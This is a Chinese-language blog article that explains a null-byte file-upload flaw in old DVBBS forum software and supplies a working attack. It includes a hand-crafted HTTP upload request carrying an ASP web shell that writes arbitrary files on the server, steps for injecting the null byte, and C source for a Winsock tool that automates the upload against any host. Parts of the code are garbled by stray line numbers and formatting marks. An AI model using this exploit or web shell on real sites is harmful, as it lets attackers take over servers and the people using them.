动网论坛上传文件漏洞的原理以及攻击的代码实现

最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪(猪蛋儿的《目前流行的BBS安全性比较》一文请参阅:http://wvw.ttian.net/forum/viewtopic.php?id=269)说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).

我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0

if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [

1<a href="#" onclick="history.go(-1)">重新上传</a>

]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [

1<a href="#" onclick="history.go(-1)">重新上传</a>

]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片 [

1<a href="#" onclick="history.go(-1)">重新上传</a>

]"
response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确 [

1<a href="#" onclick="history.go(-1)">重新上传</a>

]"
response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!

1<br/>

"
response.write "

1<script>parent.document.forms[0].myface.value='"&FileName&"'</script>

"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:

1<form action="upfile.asp" enctype="multipart/form-data" method="post" name="form">
2<input name="filepath" type="hidden" value="uploadFace"/>
3<input name="act" type="hidden" value="upload"/>
4<input name="file1" type="file"/>
5<input name="fname" type="hidden"/>
6<input name="Submit" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,   
7parent.document.forms[0].Submit2.disabled=true;" type="submit" value="上传"/>
8</form>

这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.

我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain

1dim objFSO
1dim fdata
1dim objCountFile
1on error resume next
1Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
1if Trim(request("syfdpath"))<>"" then
1fdata = request("cyfddata")
1Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
1objCountFile.Write fdata
1if err =0 then
1response.write "

<font color="red">save Success!</font>

1"
1else
1response.write "

<font color="red">Save UnSuccess!</font>

1"
1end if
1err.clear
1end if
1objCountFile.Close
1Set objCountFile=Nothing
1Set objFSO = Nothing
1Response.write "

<form ''="" action="" method="post">"

Response.Write "<input name="syfdpath" size="50" type="text" width="32"/>"

Response.Write "<br/>"

=server.mappath(Request.ServerVariables("SCRIPT_NAME"))

Response.write "<br/>"

Response.write "<textarea cols="80" name="cyfddata" rows="10" width="32"></textarea>"

Response.write "<input type="submit" value="save"/>"

Response.write "</form>

1"

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"

C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include

  1<winsock2.h>   
  2#include <stdio.h>   
  3#include "Resource.h"   
  4  
  5#pragma comment(lib,"ws2_32.lib")   
  6  
  7HINSTANCE g_hInst;   
  8HWND g_hWnd;   
  9HWND m_up;   
 10HWND m_host;   
 11HWND m_webpath;   
 12HWND m_path;   
 13HWND m_filename;   
 14HWND m_upload;   
 15DWORD m_theadid;   
 16BYTE sendbuf[10000];   
 17char host[80]; //主机地址   
 18char bbspath[50]; //论坛地址   
 19char uppath[20]; //上传目录   
 20char upfilename[50]; //上传文件名   
 21char upfiledata[8000]; //上传文件内容   
 22int sendsize; //总传送数据大小   
 23int realsndsize = 0; //传送页面文件的大小   
 24char snddata[8000];   
 25char mm[1000]=   
 26"```
 27dim objFSO
 28```\r\n"   
 29"```
 30dim fdata
 31```\r\n"   
 32"```
 33dim objCountFile
 34```\r\n"   
 35"```
 36on error resume next
 37```\r\n"   
 38"```
 39Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")
 40```\r\n"   
 41"```
 42if Trim(request(\"syfdpath\"))&amp;lt;&amp;gt;\"\" then
 43```\r\n"   
 44"```
 45fdata = request(\"cyfddata\")
 46```\r\n"   
 47"```
 48Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)
 49```\r\n"   
 50"```
 51objCountFile.Write fdata
 52```\r\n"   
 53"```
 54if err =0 then
 55```\r\n"   
 56"```
 57response.write \"&lt;font color="red"&gt;save Success!&lt;/font&gt;\"
 58```\r\n"   
 59"```
 60else
 61```"   
 62"```
 63response.write \"&lt;font color="red"&gt;Save UnSuccess!&lt;/font&gt;\"
 64```\r\n"   
 65"```
 66end if
 67```\r\n"   
 68"```
 69err.clear
 70```\r\n"   
 71"```
 72end if
 73```"   
 74"```
 75objCountFile.Close
 76```\r\n"   
 77"```
 78Set objCountFile=Nothing
 79```\r\n"   
 80"```
 81Set objFSO = Nothing
 82```"   
 83"```
 84Response.write \"&lt;form action="\'\'" method="post"&gt;\"
 85```\r\n"   
 86"```
 87Response.Write \"&lt;input name="syfdpath" size="50" type="text" width="32"/&gt;\"
 88```\r\n"   
 89"```
 90Response.Write \"&lt;br/&gt;\"
 91```\r\n"   
 92"```
 93=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))
 94```\r\n"   
 95"```
 96Response.write \"&lt;br/&gt;\"
 97```\r\n"   
 98"```
 99Response.write \"&lt;textarea cols="80" name="cyfddata" rows="10" width="32"&gt;&lt;/textarea&gt;\"
100```\r\n"   
101"```
102Response.write \"&lt;input type="submit" value="save"/&gt;\"
103```\r\n"   
104"```
105Response.write \"&lt;/form&gt;\"
106```\r\n";   
107  
108//获得控件文本   
109char *gettext(HWND chwnd)   
110{   
111char tmpbuf[10000];   
112SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);   
113return tmpbuf;   
114}   
115  
116//设置控件文本   
117void settext(HWND chwnd,char *text)   
118{   
119SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);   
120}   
121  
122char *itos(int data)   
123{   
124char tmp[10];   
125sprintf(tmp, "%d", data);   
126return tmp;   
127}   
128  
129//上传线程   
130DWORD WINAPI uploadthread(LPVOID param)   
131{   
132SOCKET s;   
133sockaddr_in sin;   
134struct hostent * hp;   
135unsigned int addr;   
136  
137s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);   
138  
139ZeroMemory((void *)&amp;sin, sizeof(sin));   
140  
141hp = gethostbyname(gettext(m_host));   
142if (!hp)   
143addr = inet_addr(gettext(m_host));   
144if ((!hp) &amp;&amp; (addr == INADDR_NONE) )   
145{   
146MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);   
147return 0;   
148}   
149if (hp != NULL)   
150memcpy(&amp;(sin.sin_addr),hp-&gt;h_addr,hp-&gt;h_length);   
151else   
152sin.sin_addr.s_addr = addr;   
153  
154sin.sin_port = htons(80);   
155sin.sin_family = AF_INET;   
156  
157strcpy(host, gettext(m_host));   
158strcpy(bbspath, gettext(m_webpath));   
159strcpy(upfiledata, gettext(m_upload));   
160strcpy(uppath, gettext(m_path));   
161strcpy(upfilename, gettext(m_filename));   
162  
163realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;   
164  
165sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"   
166"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"   
167"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"   
168"Accept-Language: zh-cn\r\n"   
169"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"   
170"Accept-Encoding: gzip, deflate\r\n"   
171"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"   
172"Host: %s\r\n"   
173"Content-Length: %d\r\n"   
174"Connection: Keep-Alive\r\n"   
175"Cache-Control: no-cache\r\n"   
176"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"   
177"-----------------------------7d4a325500d2\r\n"   
178"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"   
179"%s\\\%s",   
180bbspath,   
181host,   
182realsndsize,   
183uppath,   
184upfilename);   
185  
186sendsize = strlen((char *)sendbuf);   
187sendbuf[sendsize] = '\0';   
188  
189sprintf(snddata,   
190"\r\n"   
191"-----------------------------7d4a325500d2\r\n"   
192"Content-Disposition: form-data; name=\"act\"\r\n\r\n"   
193"upload\r\n"   
194"-----------------------------7d4a325500d2\r\n"   
195"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\\1.gif\"\r\n"   
196"Content-Type: text/plain\r\n\r\n"   
197"%s\r\n"   
198"-----------------------------7d4a325500d2\r\n"   
199"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"   
200"C:\\\1.gif\r\n"   
201"-----------------------------7d4a325500d2\r\n"   
202"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"   
203"上传\r\n"   
204"-----------------------------7d4a325500d2--\r\n\r\n",   
205upfiledata);   
206  
207strcat((char *)&amp;sendbuf[sendsize+1], snddata);   
208  
209sendsize += strlen(snddata);   
210sendsize += 1;   
211  
212if(SOCKET_ERROR == connect(s, (struct sockaddr *)&amp;sin, sizeof(sin)))   
213{   
214MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR);   
215return 0;   
216}   
217int sendsz = send(s, (char *)sendbuf, sendsize, 0);   
218if(sendsz &lt;= 0)   
219MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);   
220char recvbuf[10000];   
221recv(s, (char*)recvbuf, 10000, 0);   
222settext(m_upload, recvbuf);   
223closesocket(s);   
224return 0;   
225}   
226  
227void WINAPI On_Command(WPARAM wParam)   
228{   
229switch (LOWORD(wParam))   
230{   
231case ID_UP:   
232CreateThread(NULL, 0, uploadthread, NULL, NULL, &amp;m_theadid);   
233break;   
234case IDCANCEL:   
235SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));   
236break;   
237}   
238}   
239  
240static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)   
241{   
242switch (msg)   
243{   
244case WM_INITDIALOG:   
245g_hWnd = hWndDlg;   
246m_up = GetDlgItem(g_hWnd, ID_UP);   
247m_host = GetDlgItem(g_hWnd, IDC_EDIT1);   
248m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);   
249m_path = GetDlgItem(g_hWnd, IDC_EDIT3);   
250m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);   
251m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);   
252settext(m_host, "192.168.10.101");   
253settext(m_webpath, "/");   
254settext(m_path, "uploadface");   
255settext(m_filename, "zwell.asp");   
256settext(m_upload, mm);   
257return TRUE;   
258  
259case WM_COMMAND:   
260On_Command(wParam);   
261break;   
262  
263case WM_SIZE:   
264break;   
265  
266case WM_CLOSE:   
267EndDialog(g_hWnd,0);   
268break;   
269}   
270return FALSE;   
271}   
272  
273int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)   
274{   
275WSADATA wsaData;   
276  
277g_hInst=hInstance;   
278if(WSAStartup(MAKEWORD(1, 1), &amp;wsaData))   
279{   
280MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);   
281return 0;   
282}   
283DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);   
284WSACleanup();   
285return 1;   
286}   
287  
288WINDOWS2003 + VC.NET   
289WINDOWS2003 WINDOWS2000测试通过</stdio.h></winsock2.h>
Published At
Categories with 数据库类
Tagged with
comments powered by Disqus